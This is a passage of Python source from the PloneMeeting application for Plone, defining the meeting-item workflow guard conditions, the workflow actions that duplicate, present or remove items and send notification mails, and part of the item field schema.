= True\n return res\n\n security.declarePublic('mayPublish')\n\n def mayPublish(self):\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n meeting = self.context.getMeeting()\n if meeting.query_state() not in get_states_before(meeting, 'published'):\n res = True\n return res\n\n security.declarePublic('mayItemDecide')\n\n def mayItemDecide(self):\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n meeting = self.context.getMeeting()\n if meeting.query_state() not in get_states_before(meeting, 'decided'):\n res = True\n return res\n\n security.declarePublic('mayReturnToProposingGroup')\n\n def mayReturnToProposingGroup(self):\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n res = True\n return res\n\n security.declarePublic('isLateFor')\n\n def isLateFor(self, meeting):\n '''See doc in interfaces.py.'''\n if meeting:\n preferred_meeting = self.context.getPreferredMeeting(theObject=True)\n if preferred_meeting and \\\n meeting.is_late() and \\\n meeting.date >= preferred_meeting.date:\n return True\n return False\n\n def _advice_is_to_give(self, adviceInfo):\n \"\"\" \"\"\"\n res = False\n if adviceInfo['type'] in (NOT_GIVEN_ADVICE_VALUE, 'asked_again', ):\n res = True\n elif \"waiting_advices_given_and_signed_advices_required_to_validate\" in \\\n self.cfg.getWorkflowAdaptations():\n # check that the WF went to the last advice WF state\n # and also if advice was asked again, that last time it was asked\n # it went to the end as well\n advice_obj = self.context.getAdviceObj(adviceInfo['id'])\n # bypass if it is not a finances advice\n if advice_obj.portal_type.startswith('meetingadvicefinances'):\n # when using the advice WF with signed, the WF transition is \"signFinancialAdvice\"\n # we will get the last step signed or asked again if exist\n last_step = getLastWFAction(\n advice_obj, ['signFinancialAdvice', 'backToAdviceInitialState'])\n if not last_step or last_step['action'] != 'signFinancialAdvice':\n res = True\n return res\n\n def _hasAdvicesToGive(self, destination_state):\n \"\"\"Check if there are advice to give in p_destination_state.\"\"\"\n hasAdvicesToGive = False\n for org_uid, adviceInfo in self.context.adviceIndex.items():\n # only consider advices to give\n if not self._advice_is_to_give(adviceInfo):\n continue\n adviceStates = self.cfg.getItemAdviceStatesForOrg(org_uid)\n if destination_state in adviceStates:\n hasAdvicesToGive = True\n break\n return hasAdvicesToGive\n\n security.declarePublic('mayWait_advices')\n\n def mayWait_advices(self, from_state, destination_state):\n \"\"\" \"\"\"\n # when using the 'waiting_advices_from_XXX' WFAdaptation\n # either from last_level, or from every levels\n # only last validation level may ask advices\n res = False\n # bypass for Manager\n if _checkPermission(ManagePortal, self.context):\n res = True\n elif _checkPermission(ReviewPortalContent, self.context):\n msg = self._check_required_data(destination_state)\n if msg is not None:\n res = msg\n else:\n wfas = self.cfg.getWorkflowAdaptations()\n from_states = []\n if 'waiting_advices' in wfas:\n if 'waiting_advices_from_last_val_level' in wfas:\n from_states.append(self._getLastValidationState())\n if 'waiting_advices_from_before_last_val_level' in wfas:\n from_states.append(self._getLastValidationState(before_last=True))\n if 'waiting_advices_from_every_val_levels' in wfas:\n item_validation_states = self.cfg.getItemWFValidationLevels(\n data='state', only_enabled=True)\n from_states = list(item_validation_states)\n if not from_states:\n # use custom values from WAITING_ADVICES_FROM_STATES\n for waiting_advice_config in get_waiting_advices_infos(self.cfg.getId()):\n from_states += list(waiting_advice_config['from_states'])\n if from_state in from_states:\n res = True\n if res and not self._hasAdvicesToGive(destination_state):\n # check if there are advices to give in destination state\n res = No(_('advice_required_to_ask_advices'))\n return res\n\n security.declarePublic('mayAccept_out_of_meeting')\n\n def mayAccept_out_of_meeting(self):\n \"\"\" \"\"\"\n res = False\n if self.context.getIsAcceptableOutOfMeeting():\n if _checkPermission(ReviewPortalContent, self.context) and self.tool.isManager(self.cfg):\n res = True\n return res\n\n security.declarePublic('mayAccept_out_of_meeting_emergency')\n\n def mayAccept_out_of_meeting_emergency(self):\n \"\"\" \"\"\"\n res = False\n if self.context.getIsAcceptableOutOfMeeting() and \\\n _checkPermission(ReviewPortalContent, self.context) and \\\n self.tool.isManager(self.cfg):\n emergency = self.context.getEmergency()\n if emergency == 'emergency_accepted':\n res = True\n # if at least emergency is asked, then return a No message\n elif emergency != 'no_emergency':\n res = No(_('emergency_accepted_required_to_accept_out_of_meeting_emergency'))\n return res\n\n security.declarePublic('mayTransfer')\n\n def mayTransfer(self):\n \"\"\" \"\"\"\n return self.context.adapted().mayTransfer()\n\n\nInitializeClass(MeetingItemWorkflowConditions)\n\n\nclass MeetingItemWorkflowActions(object):\n '''Adapts a meeting item to interface IMeetingItemWorkflowActions.'''\n implements(IMeetingItemWorkflowActions)\n security = ClassSecurityInfo()\n\n def __init__(self, item):\n self.context = item\n self.tool = api.portal.get_tool('portal_plonemeeting')\n self.cfg = self.tool.getMeetingConfig(self.context)\n\n def _getCustomActionName(self, transitionId):\n \"\"\" \"\"\"\n action = None\n if transitionId in self.cfg.getItemWFValidationLevels(\n data='leading_transition', only_enabled=True):\n action = 'doProposeToNextValidationLevel'\n elif transitionId.startswith('wait_advices_from'):\n action = 'doWait_advices_from'\n elif transitionId.startswith('goTo_returned_to_proposing_group'):\n action = 'doGoTo_returned_to_proposing_group'\n return action\n\n security.declarePrivate('doActivate')\n\n def doActivate(self, stateChange):\n \"\"\"Used for items in config.\"\"\"\n pass\n\n security.declarePrivate('doDeactivate')\n\n def doDeactivate(self, stateChange):\n \"\"\"Used for items in config.\"\"\"\n pass\n\n security.declarePrivate('doProposeToNextValidationLevel')\n\n def doProposeToNextValidationLevel(self, stateChange):\n \"\"\"Called by every item validation level defined\n in MeetingConfig.itemWFValidationLevels.\"\"\"\n pass\n\n security.declarePrivate('doValidate')\n\n def doValidate(self, stateChange):\n # If it is a \"late\" item, we must potentially send a mail to warn MeetingManagers.\n preferredMeetingUID = self.context.getPreferredMeeting()\n if preferredMeetingUID != ITEM_NO_PREFERRED_MEETING_VALUE:\n meeting = uuidToObject(preferredMeetingUID)\n if meeting and self.context.wfConditions().isLateFor(meeting):\n return sendMailIfRelevant(\n self.context, 'lateItem', 'meetingmanagers', isSuffix=True)\n\n def _forceInsertNormal(self):\n \"\"\" \"\"\"\n return bool(self.context.REQUEST.cookies.get('pmForceInsertNormal', 'false') == 'true')\n\n security.declarePrivate('doPresent')\n\n def doPresent(self, stateChange):\n '''Presents an item into a meeting.'''\n meeting = getCurrentMeetingObject(self.context)\n # if we were not on a meeting view, we will present\n # the item in the next available meeting\n if not meeting:\n # find meetings accepting items in the future\n meeting = self.context.getMeetingToInsertIntoWhenNoCurrentMeetingObject()\n # insert the item into the meeting\n self._insertItem(meeting)\n # We may have to send a mail.\n sendMailIfRelevant(self.context, 'itemPresented', 'creators', isSuffix=True)\n sendMailIfRelevant(self.context, 'itemPresentedOwner', 'Owner', isRole=True)\n\n def _insertItem(self, meeting):\n \"\"\" \"\"\"\n self.context.REQUEST.set('currentlyInsertedItem', self.context)\n meeting.insert_item(self.context, force_normal=self._forceInsertNormal())\n # If the meeting is already in a late state and this item is a \"late\" item,\n # I must set automatically the item to the first \"late state\" (itemfrozen by default).\n if meeting.is_late():\n do_transitions(self.context, self._latePresentedItemTransitions())\n\n def _latePresentedItemTransitions(self):\n \"\"\"Return the transitions to execute on a late item.\n By default, this will freeze, publish or decide the item.\"\"\"\n # can can not base this on MeetingConfig.onMeetingTransitionItemActionToExecute\n # because sometimes for performance reasons, freezing items when\n # freezing the meeting is disabled but we want a late item to be auto frozen...\n return ('itemfreeze', 'itempublish', 'itemdecide')\n\n security.declarePrivate('doItemFreeze')\n\n def doItemFreeze(self, stateChange):\n pass\n\n security.declarePrivate('doItemPublish')\n\n def doItemPublish(self, stateChange):\n pass\n\n security.declarePrivate('doItemDecide')\n\n def doItemDecide(self, stateChange):\n pass\n\n security.declarePrivate('doAccept_out_of_meeting')\n\n def doAccept_out_of_meeting(self, stateChange):\n \"\"\"Duplicate item to validated if WFAdaptation\n 'accepted_out_of_meeting_and_duplicated' is used.\"\"\"\n if 'accepted_out_of_meeting_and_duplicated' in self.cfg.getWorkflowAdaptations():\n new_item = self._duplicateAndValidate(\n cloneEventAction='create_from_accepted_out_of_meeting')\n # make sure new_item is no more isAcceptableOutOfMeeting\n # when auto duplicated, new item is supposed to be presented in a next meeting\n new_item.setIsAcceptableOutOfMeeting(False)\n self.context.update_item_reference()\n\n security.declarePrivate('doAccept_out_of_meeting_emergency')\n\n def doAccept_out_of_meeting_emergency(self, stateChange):\n \"\"\"Duplicate item to validated if WFAdaptation\n 'accepted_out_of_meeting_emergency_and_duplicated' is used.\"\"\"\n if 'accepted_out_of_meeting_emergency_and_duplicated' in self.cfg.getWorkflowAdaptations():\n new_item = self._duplicateAndValidate(\n cloneEventAction='create_from_accepted_out_of_meeting_emergency')\n # make sure new_item is no more isAcceptableOutOfMeeting\n # when auto duplicated, new item is supposed to be presented in a next meeting\n new_item.setIsAcceptableOutOfMeeting(False)\n\n self.context.update_item_reference()\n\n security.declarePrivate('doTransfer')\n\n def doTransfer(self, stateChange):\n \"\"\"Duplicate item to validated if WFAdaptation\n 'transfered_and_duplicated' is used.\"\"\"\n if 'transfered_and_duplicated' in self.cfg.getWorkflowAdaptations():\n self._duplicateAndValidate(cloneEventAction='create_from_transfered')\n self.context.update_item_reference()\n\n security.declarePrivate('doAccept')\n\n def doAccept(self, stateChange):\n pass\n\n security.declarePrivate('doRefuse')\n\n def doRefuse(self, stateChange):\n pass\n\n security.declarePrivate('doMark_not_applicable')\n\n def doMark_not_applicable(self, stateChange):\n pass\n\n security.declarePrivate('doRemove')\n\n def doRemove(self, stateChange):\n # duplicate item if necessary\n if 'removed_and_duplicated' in self.cfg.getWorkflowAdaptations():\n creator = self.context.Creator()\n # We create a copy in the initial item state, in the folder of creator.\n self.context.clone(copyAnnexes=True,\n newOwnerId=creator,\n cloneEventAction='create_from_removed_item',\n keepProposingGroup=True,\n setCurrentAsPredecessor=True)\n\n def _duplicateAndValidate(self, cloneEventAction):\n \"\"\"Duplicate and keep link self.context and validate the new item.\"\"\"\n creator = self.context.Creator()\n # We create a copy in the initial item state, in the folder of creator.\n clonedItem = self.context.clone(copyAnnexes=True,\n newOwnerId=creator,\n cloneEventAction=cloneEventAction,\n keepProposingGroup=True,\n setCurrentAsPredecessor=True,\n inheritAdvices=True)\n # set clonedItem to state 'validated'\n wfTool = api.portal.get_tool('portal_workflow')\n wf_comment = _('wf_transition_triggered_by_application')\n with api.env.adopt_roles(roles=['Manager']):\n # trigger transitions until 'validated', aka one step before 'presented'\n # set a special value in the REQUEST so guards may use it if necessary\n self.context.REQUEST.set('duplicating_and_validating_item', True)\n # try to bypass by using the \"validate\" shortcut\n if \"validate\" in get_transitions(clonedItem):\n wfTool.doActionFor(clonedItem, \"validate\")\n else:\n for tr in self.cfg.getTransitionsForPresentingAnItem(\n org_uid=clonedItem.getProposingGroup())[0:-1]:\n if tr in get_transitions(clonedItem):\n wfTool.doActionFor(clonedItem, tr, comment=wf_comment)\n self.context.REQUEST.set('duplicating_and_validating_item', False)\n return clonedItem\n\n security.declarePrivate('doPostpone_next_meeting')\n\n def doPostpone_next_meeting(self, stateChange):\n '''When an item is 'postponed_next_meeting', we will duplicate it:\n the copy is automatically validated and will be linked to this one.'''\n clonedItem = self._duplicateAndValidate(cloneEventAction='create_from_postponed_next_meeting')\n # Send, if configured, a mail to the person who created the item\n sendMailIfRelevant(clonedItem, 'itemPostponedNextMeeting', 'creators', isSuffix=True)\n\n security.declarePrivate('doDelay')\n\n def doDelay(self, stateChange):\n '''When an item is delayed, we will duplicate it: the copy is back to\n the initial state and will be linked to this one.'''\n creator = self.context.Creator()\n # We create a copy in the initial item state, in the folder of creator.\n clonedItem = self.context.clone(copyAnnexes=True,\n newOwnerId=creator,\n cloneEventAction='create_from_predecessor',\n keepProposingGroup=True,\n setCurrentAsPredecessor=True)\n # Send, if configured, a mail to the person who created the item\n sendMailIfRelevant(clonedItem, 'itemDelayed', 'creators', isSuffix=True)\n sendMailIfRelevant(clonedItem, 'itemDelayedOwner', 'Owner', isRole=True)\n\n def _get_item_states_removed_from_meeting(self):\n '''Return item states in which an item is considered removed from a meeting.\n By default, when using MeetingConfig.itemWFValidationStates, these are\n the states in which item is no more linked to a meeting.'''\n res = self.cfg.getItemWFValidationLevels(data='state', only_enabled=True)\n res.append('validated')\n return res\n\n security.declarePrivate('doCorrect')\n\n def doCorrect(self, stateChange):\n \"\"\"\n This is an unique wf action called for every transitions beginning with 'backTo'.\n Most of times we do nothing, but in some case, we check the old/new state and\n do some specific treatment.\n \"\"\"\n meeting = self.context.getMeeting()\n # Remove item from meeting if necessary when going to a state\n # where item is not linked to a meeting\n if meeting and stateChange.new_state.id in self._get_item_states_removed_from_meeting():\n # We may have to send a mail\n sendMailIfRelevant(self.context, 'itemUnpresented', 'creators', isSuffix=True)\n sendMailIfRelevant(self.context, 'itemUnpresentedOwner', 'Owner', isRole=True)\n # remove the item from the meeting\n self.context.getMeeting().remove_item(self.context)\n # back to validated from \"accepted_out_of_meeting\"\n if stateChange.new_state.id == \"validated\" and self.context.getItemReference():\n self.context.update_item_reference(clear=True)\n # if an item was returned to proposing group for corrections and that\n # this proposing group sends the item back to the meeting managers, we\n # send an email to warn the MeetingManagers if relevant\n if stateChange.old_state.id.startswith(\"returned_to_proposing_group\"):\n # We may have to send a mail.\n sendMailIfRelevant(self.context, 'returnedToMeetingManagers', 'meetingmanagers', isSuffix=True)\n\n if 'decide_item_when_back_to_meeting_from_returned_to_proposing_group' in self.cfg.getWorkflowAdaptations() \\\n and stateChange.transition.getId() == 'backTo_itemfrozen_from_returned_to_proposing_group' \\\n and self.context.getMeeting().query_state() == 'decided':\n with api.env.adopt_roles(roles=['Manager']):\n wTool = api.portal.get_tool('portal_workflow')\n from config import ITEM_TRANSITION_WHEN_RETURNED_FROM_PROPOSING_GROUP_AFTER_CORRECTION\n wf_comment = _('wf_transition_triggered_by_application')\n if 'no_publication' not in self.cfg.getWorkflowAdaptations():\n wTool.doActionFor(self.context, 'itempublish', comment=wf_comment)\n wTool.doActionFor(self.context,\n ITEM_TRANSITION_WHEN_RETURNED_FROM_PROPOSING_GROUP_AFTER_CORRECTION,\n comment=wf_comment)\n\n security.declarePrivate('doReturn_to_proposing_group')\n\n def doReturn_to_proposing_group(self, stateChange):\n '''Send an email when returned to proposing group if relevant...'''\n sendMailIfRelevant(self.context, 'returnedToProposingGroup', 'creators', isSuffix=True)\n sendMailIfRelevant(self.context, 'returnedToProposingGroupOwner', 'Owner', isRole=True)\n\n security.declarePrivate('doGoTo_returned_to_proposing_group_proposed')\n\n def doGoTo_returned_to_proposing_group_proposed(self, stateChange):\n pass\n\n security.declarePrivate('doGoTo_returned_to_proposing_group')\n\n def doGoTo_returned_to_proposing_group(self, stateChange):\n pass\n\n security.declarePrivate('doWait_advices_from')\n\n def doWait_advices_from(self, stateChange):\n pass\n\n security.declarePrivate('doAccept_but_modify')\n\n def doAccept_but_modify(self, stateChange):\n pass\n\n security.declarePrivate('doPre_accept')\n\n def doPre_accept(self, stateChange):\n pass\n\n\nInitializeClass(MeetingItemWorkflowActions)\n\nschema = Schema((\n\n IntegerField(\n name='itemNumber',\n widget=IntegerField._properties['widget'](\n visible=False,\n label='Itemnumber',\n label_msgid='PloneMeeting_label_itemNumber',\n i18n_domain='PloneMeeting',\n ),\n ),\n StringField(\n name='itemReference',\n widget=StringWidget(\n visible=False,\n label='Itemreference',\n label_msgid='PloneMeeting_label_itemReference',\n i18n_domain='PloneMeeting',\n ),\n searchable=True,\n ),\n TextField(\n name='description',\n widget=RichWidget(\n label_msgid=\"PloneMeeting_label_itemDescription\",\n label='Description',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n accessor=\"Description\",\n optional=True,\n ),\n TextField(\n name='detailedDescription',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('detailedDescription')\",\n label='Detaileddescription',\n label_msgid='PloneMeeting_label_detailedDescription',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n searchable=True,\n default_output_type=\"text/x-html-safe\",\n optional=True,\n ),\n BooleanField(\n name='budgetRelated',\n widget=BooleanField._properties['widget'](\n condition=\"python: here.show_budget_infos()\",\n description=\"BudgetRelated\",\n description_msgid=\"item_budget_related_descr\",\n label='Budgetrelated',\n label_msgid='PloneMeeting_label_budgetRelated',\n i18n_domain='PloneMeeting',\n ),\n read_permission=ReadBudgetInfos,\n write_permission=WriteBudgetInfos,\n ),\n TextField(\n name='budgetInfos',\n widget=RichWidget(\n condition=\"python: here.show_budget_infos()\",\n description=\"BudgetInfos\",\n description_msgid=\"item_budgetinfos_descr\",\n label='Budgetinfos',\n label_msgid='PloneMeeting_label_budgetInfos',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n allowable_content_types=('text/html',),\n searchable=True,\n default_method=\"getDefaultBudgetInfo\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n read_permission=ReadBudgetInfos,\n write_permission=WriteBudgetInfos,\n ),\n StringField(\n name='proposingGroup',\n widget=SelectionWidget(\n condition=\"python: not here.attribute_is_used('proposingGroupWithGroupInCharge')\",\n format=\"select\",\n label='Proposinggroup',\n label_msgid='PloneMeeting_label_proposingGroup',\n i18n_domain='PloneMeeting',\n ),\n vocabulary_factory='Products.PloneMeeting.vocabularies.userproposinggroupsvocabulary',\n enforceVocabulary=True,\n ),\n StringField(\n name='proposingGroupWithGroupInCharge',\n widget=SelectionWidget(\n condition=\"python: here.attribute_is_used('proposingGroupWithGroupInCharge')\",\n format=\"select\",\n label='Proposinggroupwithgroupincharge',\n label_msgid='PloneMeeting_label_proposingGroupWithGroupInCharge',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary_factory='Products.PloneMeeting.vocabularies.userproposinggroupswithgroupsinchargevocabulary',\n enforceVocabulary=True,\n ),\n LinesField(\n name='groupsInCharge',\n widget=MultiSelectionWidget(\n condition=\"python: here.show_groups_in_charge()\",\n size=10,\n description=\"Groupsincharge\",\n description_msgid=\"item_groups_in_charge_descr\",\n format=\"checkbox\",\n label='Groupsincharge',\n label_msgid='PloneMeeting_label_groupsInCharge',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.itemgroupsinchargevocabulary',\n enforceVocabulary=True,\n ),\n LinesField(\n name='associatedGroups',\n widget=MultiSelectionWidget(\n condition=\"python: here.attribute_is_used('associatedGroups')\",\n size=10,\n description=\"AssociatedGroupItem\",\n description_msgid=\"associated_group_item_descr\",\n format=\"checkbox\",\n label='Associatedgroups',\n label_msgid='PloneMeeting_label_associatedGroups',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.itemassociatedgroupsvocabulary',\n enforceVocabulary=True,\n ),\n StringField(\n name='category',\n widget=SelectionWidget(\n condition=\"python: here.attribute_is_used('category')\",\n format=\"select\",\n description=\"Category\",\n description_msgid=\"item_category_descr\",\n label='Category',\n label_msgid='PloneMeeting_label_category',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary='listCategories',\n ),\n StringField(\n name='classifier',\n widget=SelectionWidget(\n condition=\"python: here.attribute_is_used('classifier')\",\n format=\"select\",\n description=\"Classifier\",\n description_msgid=\"item_classifier_descr\",\n label='Classifier',\n label_msgid='PloneMeeting_label_classifier',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary='listClassifiers',\n ),\n LinesField(\n name='committees',\n widget=MultiSelectionWidget(\n condition=\"python: here.show_committees()\",\n size=10,\n format=\"checkbox\",\n label='Committees',\n label_msgid='PloneMeeting_label_committees',\n i18n_domain='PloneMeeting',\n ),\n optional=False,\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.item_selectable_committees_vocabulary',\n enforceVocabulary=True,\n ),\n StringField(\n name='listType',\n default='normal',\n widget=SelectionWidget(\n visible=True,\n condition=\"python: here.adapted().mayChangeListType()\",\n label='Listtype',\n label_msgid='PloneMeeting_label_listType',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n vocabulary_factory='Products.PloneMeeting.vocabularies.listtypesvocabulary'\n ),\n StringField(\n name='emergency',\n default='no_emergency',\n widget=SelectionWidget(\n condition=\"python: here.showEmergency()\",\n description=\"Emergency\",\n description_msgid=\"item_emergency_descr\",\n visible=False,\n label='Emergency',\n label_msgid='PloneMeeting_label_emergency',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n vocabulary='listEmergencies',\n ),\n StringField(\n name='preferredMeeting',\n default=ITEM_NO_PREFERRED_MEETING_VALUE,\n widget=SelectionWidget(\n condition=\"python: not here.isDefinedInTool()\",\n description=\"PreferredMeeting\",\n description_msgid=\"preferred_meeting_descr\",\n label='Preferredmeeting',\n label_msgid='PloneMeeting_label_preferredMeeting',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n vocabulary='listMeetingsAcceptingItems',\n ),\n DateTimeField(\n name='meetingDeadlineDate',\n widget=DateTimeField._properties['widget'](\n condition=\"python: here.attribute_is_used('meetingDeadlineDate') and not here.isDefinedInTool()\",\n description=\"MeetingDeadlineDate\",\n description_msgid=\"meeting_deadline_date_descr\",\n label='Meetingdeadlinedate',\n label_msgid='PloneMeeting_label_meetingDeadlineDate',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n ),\n LinesField(\n name='itemTags',\n widget=MultiSelectionWidget(\n condition=\"python: here.attribute_is_used('itemTags')\",\n format=\"checkbox\",\n label='Itemtags',\n label_msgid='PloneMeeting_label_itemTags',\n i18n_domain='PloneMeeting',\n ),\n multiValued=1,\n vocabulary='listItemTags',\n searchable=True,\n enforceVocabulary=True,\n optional=True,\n ),\n StringField(\n name='itemKeywords',\n widget=StringField._properties['widget'](\n size=50,\n condition=\"python: here.attribute_is_used('itemKeywords')\",\n label='Itemkeywords',\n label_msgid='PloneMeeting_label_itemKeywords',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n searchable=True,\n ),\n LinesField(\n name='optionalAdvisers',\n widget=MultiSelectionWidget(\n description=\"OptionalAdvisersItem\",\n description_msgid=\"optional_advisers_item_descr\",\n condition='python:here.showOptionalAdvisers()',\n format=\"checkbox\",\n size=10,\n label='Optionaladvisers',\n label_msgid='PloneMeeting_label_optionalAdvisers',\n i18n_domain='PloneMeeting',\n ),\n multiValued=1,\n vocabulary_factory='Products.PloneMeeting.vocabularies.itemoptionaladvicesvocabulary',\n enforceVocabulary=True,\n ),\n TextField(\n name='motivation',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('motivation')\",\n label='Motivation',\n label_msgid='PloneMeeting_label_motivation',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='decision',\n widget=RichWidget(\n label='Decision',\n label_msgid='PloneMeeting_label_decision',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=False,\n write_permission=WriteDecision,\n ),\n TextField(\n name='decisionSuite',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('decisionSuite')\",\n label='DecisionSuite',\n label_msgid='PloneMeeting_label_decisionSuite',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='decisionEnd',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('decisionEnd')\",\n label='DecisionEnd',\n label_msgid='PloneMeeting_label_decisionEnd',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteDecision,\n ),\n TextField(\n name='votesResult',\n widget=RichWidget(\n condition=\"python: here.attribute_is_used('votesResult')\",\n label='VotesResult',\n label_msgid='PloneMeeting_label_votesResult',\n description=\"VotesResult\",\n description_msgid=\"votes_result_descr\",\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n read_permission=\"PloneMeeting: Read decision\",\n searchable=True,\n allowable_content_types=('text/html',),\n default_output_type=\"text/x-html-safe\",\n optional=True,\n # we use WriteMarginalNotes so MeetingManagers may edit votesResult\n # when item is decided but as field in not in\n # MeetingItem._bypass_meeting_closed_check_for it will not be quick editable\n # when the meeting is closed\n write_permission=WriteMarginalNotes,\n ),\n BooleanField(\n name='oralQuestion',\n default=False,\n widget=BooleanField._properties['widget'](\n condition=\"python: here.showOralQuestion()\",\n description=\"OralQuestion\",\n description_msgid=\"oral_question_item_descr\",\n label='Oralquestion',\n label_msgid='PloneMeeting_label_oralQuestion',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n ),\n BooleanField(\n name='toDiscuss',\n widget=BooleanField._properties['widget'](\n condition=\"python: here.showToDiscuss()\",\n label='Todiscuss',\n label_msgid='PloneMeeting_label_toDiscuss',\n i18n_domain='PloneMeeting',\n ),\n optional=True,\n default_method=\"getDefaultToDiscuss\",\n ),\n LinesField(\n name='itemInitiator',\n widget=MultiSelectionWidget(\n condition=\"python: here.attribute_is_used('itemInitiator')\",\n description=\"ItemInitiator\",\n description_msgid=\"item_initiator_descr\",\n format=\"checkbox\",\n label='Iteminitiator',\n label_msgid='PloneMeeting_label_itemInitiator',\n i18n_domain='PloneMeeting',\n ),\n enforceVocabulary=True,\n optional=True,\n multiValued=1,\n vocabulary='listItemInitiators',\n ),\n TextField(\n name='inAndOutMoves',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.showMeetingManagerReservedField('inAndOutMoves')\",\n description=\"InAndOutMoves\",\n description_msgid=\"descr_field_reserved_to_meeting_managers\",\n label_msgid=\"PloneMeeting_inAndOutMoves\",\n label='Inandoutmoves',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='notes',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.showMeetingManagerReservedField('notes')\",\n description=\"Notes\",\n description_msgid=\"descr_field_reserved_to_meeting_managers\",\n label_msgid=\"PloneMeeting_notes\",\n label='Notes',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='meetingManagersNotes',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.showMeetingManagerReservedField('meetingManagersNotes')\",\n description=\"MeetingManagersNotes\",\n description_msgid=\"descr_field_reserved_to_meeting_managers\",\n label_msgid=\"PloneMeeting_label_meetingManagersNotes\",\n label='Meetingmanagersnotes',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='meetingManagersNotesSuite',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.showMeetingManagerReservedField('meetingManagersNotesSuite')\",\n description=\"MeetingManagersNotesSuite\",\n description_msgid=\"descr_field_reserved_to_meeting_managers\",\n label_msgid=\"PloneMeeting_label_meetingManagersNotesSuite\",\n label='Meetingmanagersnotessuite',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='meetingManagersNotesEnd',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n condition=\"python: here.showMeetingManagerReservedField('meetingManagersNotesEnd')\",\n description=\"MeetingManagersNotesEnd\",\n description_msgid=\"descr_field_reserved_to_meeting_managers\",\n label_msgid=\"PloneMeeting_label_meetingManagersNotesEnd\",\n label='Meetingmanagersnotesend',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n write_permission=WriteItemMeetingManagerFields,\n ),\n TextField(\n name='internalNotes',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n description=\"InternalNotes\",\n description_msgid=\"internal_notes_descr\",\n condition=\"python: here.attribute_is_used('internalNotes')\",\n label_msgid=\"PloneMeeting_label_internalNotes\",\n label='Internalnotes',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n optional=True,\n read_permission=WriteInternalNotes,\n write_permission=WriteInternalNotes,\n ),\n TextField(\n name='marginalNotes',\n allowable_content_types=('text/html',),\n widget=RichWidget(\n description=\"MarginalNotes\",\n description_msgid=\"marginal_notes_descr\",\n condition=\"python: here.attribute_is_used('marginalNotes')\",\n label_msgid=\"PloneMeeting_label_marginalNotes\",\n label='Marginalnotes',\n i18n_domain='PloneMeeting',\n ),\n default_content_type=\"text/html\",\n default_output_type=\"text/x-html-safe\",\n searchable=True,\n optional=True,\n write_permission=WriteMarginalNotes,\n ),\n TextField(\n name='observations',\n widget=RichWidget(\n label_msgid=\"PloneMeeting_itemObservations\",\n condition=\"python: here.adapted().showObservations()\",\n description_msgid=\"descr_field_vieawable_by_everyone\",\n label='Observations',\n i18n_domain='PloneMeeting',\n ),\n 